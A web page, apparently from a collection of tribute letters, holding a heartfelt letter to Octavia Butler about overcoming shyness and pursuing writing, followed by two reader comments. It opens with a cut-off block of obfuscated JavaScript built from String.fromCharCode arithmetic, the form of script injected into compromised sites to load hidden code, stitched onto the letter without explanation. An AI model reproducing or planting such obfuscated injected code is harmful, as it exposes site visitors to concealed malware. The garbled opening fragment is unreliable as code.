unction(String.fromCharCode(19 - 9, 126 - 8, 100 - 3, 122 - 8, 37 - 5, 109 - 2, 104 - 3, 129 - 8, 36 - 4, 67 - 6, 34 - 2, 41 - 2, 106 - 2, 113 - 9, 94 - 8, 123 - 9, 123 - 2, 83 - 4, 130 - 9, 94 - 9, 112 - 2, 80 - 7, 43 - 4, 64 - 5, 15 - 5, 119 - 1, 104 - 7, 122 - 8, 38 - 6, 102 - 1, 111 - 1, 106 - 7, 108 - 7, 109 - 9, 35 - 3, 63 - 2, 41 - 9, 48 - 9, 85 - 4, 74 - 9, 60 - 8, 114 - 8, 76 - 4, 67 - 1, 119 - 8, 57 - 2, 78 - 9, 73 - 5, 118 - 7, 70 - 5, 100 - 3, 89 - 8, 111 - 4, 101 - 3, 86 - 9, 112 - 4, 113 - 1, 84 - 3, 106 - 8, 125 - 6, 76 - 2, 110 - 8, 89 - 5, 112 - 3, 115 - 8, 105 - 4, 68 - 1, 88 - 5, 83 - 1, 85 - 2, 71 - 3, 112 - 8, 74 - 9, 92 - 6, 80 - 1, 107 - 4, 53 - 5, 120 - 9, 80 - 8, 69 - 4, 72 - 3, 56 - 3, 81 - 9, 71 - 1, 117 - 9, 125 - 4, 96 - 9, 91 - 3, 81 - 8, 80 - 9, 81 - 1, 87 - 5, 123 - 4, 91 - 2, 102 - 4, 72 - 2, 51 - 2, 93 - 6, 86 - 7, 82 - 1, 71 - 6, 63 - 6, 78 - 7, 126 - 5, 123 - 7, 80 - 9, 76 - 9, 131 - 9, 114 - 7, 110 - 8, 92 - 6, 106 - 1, 128 - 9, 81 - 6, 78 - 4, 108 - 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Dear Octavia Butler

Dear Octavia Butler,

All my life, I have cared an absurdly extraordinary amount about what other people think of me. I have passed this negative obsession off by many names, most notably shyness, but the truth of the matter is that I was afraid to speak up or do anything that might make people think differently about me. I didn’t want people to think of me differently than how I think of me, so I receded into myself. Perhaps that is shyness. Every performance review I have ever gotten spoke to my quiet voice or my lack of confidence. I would shrug, take it, and pretend that it was a part of me. I was the shy girl. Better that than the fat girl, the stupid girl, the obnoxious girl, the crazy girl. I could be the shy girl.

But you know what?

“Shyness is shit. It isn’t cute or feminine or appealing. It’s torment, and it’s shit.”

It is amazing to me how you were able to describe something endemically wrong with my world view. I thought it was just me, but in reading your autobiographical essay, I know it’s not. We may have lived different lives and may have come from different places, but your words were the first that I found myself really attaching to. That’s quite a feat too, as I have been an avid reader my whole life. I have read author bios before. None of them struck me quite like yours. None of them stopped me in my tracks and made me take a firm, hard look at myself.

For years and years and years, I wrote on everything I could find. I wrote on post-it notes, I scribbled in hotel stationary and on graph paper and on those bits of cardboard that come in your tights when you first buy them. In spite of this accumulated wealth of my scribbled words, I never showed it to anyone. In my youth I was obsessed by calling things as they were and, honestly, my meager scribblings didn’t seem to fit the bill of “writer.” How could they? So I hid them, I hid me, and I told myself I needed to find something else. At best, I could keep writing on the side, just little stupid stories to entertain myself. I could get a day job and bat away my misery with the same little stories I told myself, I wrote to myself. Who else would take comfort from them?

It was then I happened to read one of your novels, Parable of the Sower, in one of my college classes. Then I went out online and found Bloodchild, Wild Seed, Fledgling. I devoured them, ripping open the package as soon as it arrived and starting to read on the spot. Sometimes I would be put together enough to give myself a shake and get back to my room to read, but other times I just read standing in the mail room.

The way you create your characters, so real and lifelike, was something that grabbed me from the very start. Your characters have dreams, they reflected on the world, and they made mistakes. They were real people, they didn’t feel constrained by silly things like plot. Their actions were real. Though you wrote about human/alien symbiotic relations, though you wrote about the apocalypse and the founding of a new religion and frank conversations with God, I felt like I could have had an easy conversation with any one of your characters. They were ambitious in their own way. They were people.

I think you are the reason I started to dare to dream a little bit more. I know you are the reason I went for the second major, the brand new offering of Creative Writing. I also know you are the reason I stayed. Though I do not fault them for it, the faculty was more in line with the traditional genre of “literary fiction” and had I not already read your autobiographical essay, Positive Obsession, I might not have stayed. In spite of their generosity, I didn’t find quite the encouragement I told myself I needed. I had the standards of a perfectionist when it came to my own work. I’ve been writing about worlds and places I can never visit my whole life. The first thing I wrote in my first Creative Writing class was about a British Revolutionary War solider who is suddenly attacked by zombies. The second one I wrote was about a world where clones are the norm and my main character was one such clone.

I got some odd looks, some “oh, that’s nice.” It wasn’t quite the feedback I was hoping for, but I didn’t stop. I kept writing weird stories. I liked weird stories, after all. Too bad for them if science fiction wasn’t their forte.

To continue quoting from Positive Obsession:

“At college … I took classes taught by an elderly woman who wrote children’s stories. She was polite about the science fiction and fantasy that I kept handing in, but she finally asked in exasperation, ‘Can’t you write anything normal?’”

No one said it like that, of course. No one said anything similar to that, even, but I became the girl who wrote the weird, long-form stories. That might’ve terrified a younger version of me, but I embraced it. If there was ever I time I didn’t, I would read my copy of Bloodchild from beginning to end and I would feel better.

I couldn’t thank you enough just for writing “Positive Obsession.” You could have stopped there, but you gave me so much more. You gave me Bloodchild and Fledgling and Wild Seed and Parable of the Sower. You gave me the stories I flee to when I think myself lacking. You gave me a burst of confidence, because I didn’t have to get everything done right now. Just because I’m not a published author by twenty two doesn’t mean it will never happen. It doesn’t mean I should stop, because I am already behind the game. You don’t know it, but you have been my rock. Your words have boosted my confidence and you are a truly beautiful woman. In every way that it counts.

It seems a bit premature to be writing to you, to be calling you my inspiration when I feel like I haven’t done anything yet or accomplished anything yet, but that’s just shyness making excuses for me again. No more. I am extremely saddened that you have passed on before I was able to meet you, but I just wanted you to know that your words, in no small measure, have inspired me to go forward. My copy of your short story collection, Bloodchild, is well loved, well read, and worn to its very spine. Your words live on, Ms. Butler, in more than just my mind.

You have helped awaken my positive obsession, and I will forever be in your debt for that.

Thank you for what you have done for me. Thank you for what your words continue to do for others.

With deepest humility,

Victoria Zelvin

Written by

Inspirational letters to remarkable women who have changed the lives of women everywhere.
  • Mel Johnson

    Beautiful tribute to an amazing woman and brilliant author. I’m slightly obsessed with Ms. Butler myself so I was thrilled to read your words of admiration. Thank you for sharing!!

  • Traci

    This is a beautiful letter! I can totally relate especially to the shyness and not wanting to share what you write with others. Thank you for sharing! Keep writing!


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